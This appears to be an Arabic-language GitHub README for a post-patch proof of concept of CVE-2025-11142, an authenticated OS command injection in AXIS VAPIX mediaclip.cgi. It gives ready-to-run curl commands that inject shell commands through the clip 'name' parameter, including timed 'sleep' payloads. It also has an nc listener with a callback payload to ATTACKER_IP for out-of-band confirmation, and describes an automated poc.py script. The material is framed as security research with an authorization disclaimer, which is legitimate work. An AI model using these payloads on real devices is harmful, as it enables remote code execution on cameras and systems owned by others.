
إثبات المفهوم والتحليل الفني لـ CVE-2025-11142، وهي ثغرة حقن أوامر نظام تشغيل موثّقة في AXIS VAPIX mediaclip.cgi، مع طرق تحقق قائمة على الوقت وخارج النطاق.
mediaclip.cgi من AXISكتابة بحثية وPoC بعد التصحيح (n-day) — تحليل تقني بعد التصحيح لثغرة حقن أوامر نظام التشغيل بتصنيف CVSS 7.1 في واجهة برمجة تطبيقات وسائط VAPIX من AXIS، تم اكتشافها والتحقق منها بشكل مستقل عبر اختبار الصندوق الأسود ضد جهاز Axis.
النشرة الرسمية من Axis لا تنشر تفاصيل تقنية حول الاستغلال أو PoC عام ("لن تقدم Axis معلومات أكثر تفصيلاً حول الثغرة"، "لا توجد استغلالات معروفة علنًا" كما في تاريخ نشر النشرة). يوثّق هذا المستودع تأكيدًا مستقلًا ومبنيًا على الأدلة، نُشر فقط بعد أن أصبح إصلاح البائع (AXIS OS 12.7.36) متاحًا بشكل عام. انظر الجدول الزمني للإفصاح.
| معرف CVE | CVE-2025-11142 |
| CWE | CWE-78 (حقن أوامر نظام التشغيل) |
| CVSS | 7.1 (عالية) |
| المتأثر | AXIS OS 12.6.54 – 12.7.35 |
| تم الإصلاح في | AXIS OS 12.7.36 (المسار النشط) |
| نشرة البائع | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| الصلاحيات المطلوبة | مشغّل/مسؤول مصادق (مصادقة VAPIX HTTP Digest) |
| الأثر المُتحقق منه هنا | تنفيذ أوامر نظام تشغيل عشوائية بحساب خدمة منخفض الصلاحيات (وليس root) |
يقبل نقطة النهاية /axis-cgi/mediaclip.cgi من VAPIX طلب action=update مع
معامل name نصي حر (اسم العرض للمقطع). يُظهر اختبار الصندوق الأسود أن هذه القيمة
تُمرَّر، دون تنقية، إلى استدعاء شل على الجهاز — على الأرجح كجزء من
خطوة إعادة تسمية/معالجة داخلية لنظام المقاطع الفرعي للوسائط.
لا توجد كتابة تقنية عامة تصف مسار الكود الدقيق في جانب الخادم (لم تنشر Axis واحدة)، لذا فإن السبب الجذري أدناه مُستنتج من سلوك الصندوق الأسود، وليس من مراجعة المصدر.
تستخدم جميع الطلبات مصادقة HTTP Digest (يرفض الجهاز مصادقة Basic). استبدل
TARGET وUSER وPASS بقيم جهاز المختبر الخاص بك — لا تستخدم بيانات الاعتماد
المثال ضد جهاز لا تملكه أو غير مخوّل لاختباره.
يتطلب إجراء update مقطعًا موجودًا. إذا لم تكن الفتحة 0 موجودة بعد، ارفع
عنصرًا نائبًا صغيرًا وغير ضار أولاً:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
أي ملف WAV صغير صالح يعمل لـ poc.wav (ترويسة RIFF/WAVE دنيا كافية).
# خط الأساس / التحكم — بدون تأخير محقون
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# تأخير محقون لمدة 8 ثوانٍ
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
وقت الاستجابة الذي يتتبع مدة sleep المحقونة (بدلاً من خط الأساس ~0.3 ثانية)
يؤكد أن الشل ينفذ قيمة name بالكامل، وليس مجرد معاملتها كسلسلة خاملة.
تم التحقق من ذلك بتأخيرات متعددة ومقاسة بشكل مستقل (0ث / 3ث / 6ث / 8ث)
وصيغ حقن متعددة (;، &&، backticks، $(...)) لاستبعاد الصدفة.
نظرًا لأن جسم استجابة HTTP لا يعكس أبدًا مخرجات الأوامر (OK / Updating=0 بغض النظر
عن الحمولة)، فإن التأكيد الأكثر إقناعًا يستخدم قدرة الشبكة الصادرة للجهاز نفسه.
ابدأ مستمعًا على مضيف يتحكم به المهاجم واجعل الأمر المحقون يتصل به:
# على مضيف المهاجم:
nc -lvnp 4444
# الحمولة المحقونة:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
طلب HTTP وارد حقيقي من عنوان IP للجهاز المستهدف، يحتوي على
سلسلة User-Agent الخاصة بـ curl، هو إثبات لا لبس فيه لتنفيذ كود عن بُعد — الطلب
يمكن أن ينشأ فقط من أمر تم تنفيذه فعليًا على الجهاز.
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pyانظر poc.py للحصول على سكربت مستقل يقوم بأتمتة الخطوات 1–4 ضد
هدف تحدده في سطر الأوامر.
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi)
هنا ولم تؤكده Axis بالفعل.يُقدَّم هذا الكود لأغراض اختبار الأمان المصرح به، والبحث الأمني، والأغراض الدفاعية فقط (مثل التحقق من تحديث أسطولك الخاص، أو بناء توقيعات كشف). لا تستخدمه ضد أجهزة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف(ون) أي مسؤولية عن سوء الاستخدام.
MIT — انظر LICENSE.